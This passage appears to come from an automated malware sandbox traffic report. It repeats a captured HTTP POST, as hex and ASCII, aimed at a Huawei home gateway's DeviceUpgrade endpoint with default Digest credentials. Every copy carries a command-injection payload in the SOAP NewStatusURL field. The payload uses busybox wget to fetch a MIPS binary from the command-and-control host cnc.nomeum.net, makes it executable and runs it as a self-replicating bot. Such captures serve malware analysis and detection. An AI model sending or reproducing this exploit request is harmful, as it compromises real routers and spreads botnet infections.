6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
